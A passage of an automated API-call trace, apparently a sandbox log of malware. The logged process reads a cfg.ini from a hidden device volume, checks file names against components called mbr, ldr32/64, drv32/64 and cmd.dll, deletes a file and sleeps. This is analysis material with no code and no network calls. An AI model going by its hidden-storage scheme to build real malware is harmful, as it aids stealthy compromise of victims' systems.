FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.779] KeLeaveCriticalRegion () [0117.779] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.780] KeEnterCriticalRegion () [0117.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.780] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.780] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.780] KeLeaveCriticalRegion () [0117.780] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.780] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.780] KeEnterCriticalRegion () [0117.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.780] ExFreePoolWithTag (P=0xfffffa80039daf10, Tag=0x0) [0117.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.780] KeLeaveCriticalRegion () [0117.780] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.780] ReleaseMutex (hMutex=0xf0) returned 1 [0117.780] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.789] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.789] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.789] KeEnterCriticalRegion () [0117.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.789] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.789] IdePortDispatch () returned 0x103 [0117.789] KeWaitForMutexObject () returned 0x0 [0117.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.789] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.789] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.789] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.789] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.789] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.789] KeLeaveCriticalRegion () [0117.789] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.789] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.790] KeEnterCriticalRegion () [0117.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.790] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.790] KeLeaveCriticalRegion () [0117.790] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.790] KeEnterCriticalRegion () [0117.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.790] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.790] IdePortDispatch () returned 0x103 [0117.790] KeWaitForMutexObject () returned 0x0 [0117.790] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.790] KeLeaveCriticalRegion () [0117.790] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.790] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.790] KeEnterCriticalRegion () [0117.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.790] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d24000 [0117.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.791] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.791] IdePortDispatch () returned 0x103 [0117.791] KeWaitForMutexObject () returned 0x0 [0117.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.791] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.791] IdePortDispatch () returned 0x103 [0117.791] KeWaitForMutexObject () returned 0x0 [0117.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.791] KeLeaveCriticalRegion () [0117.791] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.792] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.792] KeEnterCriticalRegion () [0117.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.792] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.792] KeLeaveCriticalRegion () [0117.792] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.792] KeEnterCriticalRegion () [0117.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.792] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.792] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.792] KeLeaveCriticalRegion () [0117.792] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.792] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.792] KeEnterCriticalRegion () [0117.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.792] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.792] KeLeaveCriticalRegion () [0117.792] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.793] ReleaseMutex (hMutex=0xf0) returned 1 [0117.793] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.793] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.793] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.793] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.793] KeEnterCriticalRegion () [0117.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.793] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.793] IdePortDispatch () returned 0x103 [0117.793] KeWaitForMutexObject () returned 0x0 [0117.793] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.793] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.793] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.793] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.793] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.793] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.793] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.793] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.793] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.793] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.793] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.793] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.794] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.794] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.794] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.794] KeLeaveCriticalRegion () [0117.794] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.794] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.794] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.794] KeEnterCriticalRegion () [0117.794] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.794] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.794] IdePortDispatch () returned 0x103 [0117.794] KeWaitForMutexObject () returned 0x0 [0117.794] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.794] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.794] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.794] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.794] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.794] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.794] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.794] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.794] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.794] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.794] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.795] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.795] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.795] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.795] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.795] KeLeaveCriticalRegion () [0117.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.795] ReleaseMutex (hMutex=0x100) returned 1 [0117.795] Sleep (dwMilliseconds=0x2bf20) [0117.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x696aa7d0, dwHighDateTime=0x1d24fa4)) [0117.803] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.803] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.803] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.804] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.804] KeEnterCriticalRegion () [0117.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.804] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.804] IdePortDispatch () returned 0x103 [0117.804] KeWaitForMutexObject () returned 0x0 [0117.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.804] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.804] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.804] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.804] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.804] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6650 [0117.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.804] KeLeaveCriticalRegion () [0117.804] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.804] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.804] KeEnterCriticalRegion () [0117.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.804] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.804] KeLeaveCriticalRegion () [0117.804] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.805] KeEnterCriticalRegion () [0117.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.805] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.805] IdePortDispatch () returned 0x103 [0117.805] KeWaitForMutexObject () returned 0x0 [0117.805] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.805] KeLeaveCriticalRegion () [0117.805] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.805] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.805] KeEnterCriticalRegion () [0117.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.805] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d27000 [0117.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.805] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.805] IdePortDispatch () returned 0x103 [0117.806] KeWaitForMutexObject () returned 0x0 [0117.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.806] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.806] IdePortDispatch () returned 0x103 [0117.806] KeWaitForMutexObject () returned 0x0 [0117.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.806] KeLeaveCriticalRegion () [0117.806] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.807] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.807] KeEnterCriticalRegion () [0117.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.807] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.807] KeLeaveCriticalRegion () [0117.807] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.807] KeEnterCriticalRegion () [0117.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.807] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.807] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6710, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.807] KeLeaveCriticalRegion () [0117.807] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.807] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.807] KeEnterCriticalRegion () [0117.807] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.807] ExFreePoolWithTag (P=0xfffffa8003aa6650, Tag=0x0) [0117.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.807] KeLeaveCriticalRegion () [0117.807] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.807] ReleaseMutex (hMutex=0xf0) returned 1 [0117.807] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.807] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.807] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.807] KeEnterCriticalRegion () [0117.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.808] IdePortDispatch () returned 0x103 [0117.808] KeWaitForMutexObject () returned 0x0 [0117.808] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.808] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.808] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.808] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.808] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.808] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800381bf60 [0117.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.808] KeLeaveCriticalRegion () [0117.808] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.808] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.808] KeEnterCriticalRegion () [0117.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.808] KeLeaveCriticalRegion () [0117.808] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.808] KeEnterCriticalRegion () [0117.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 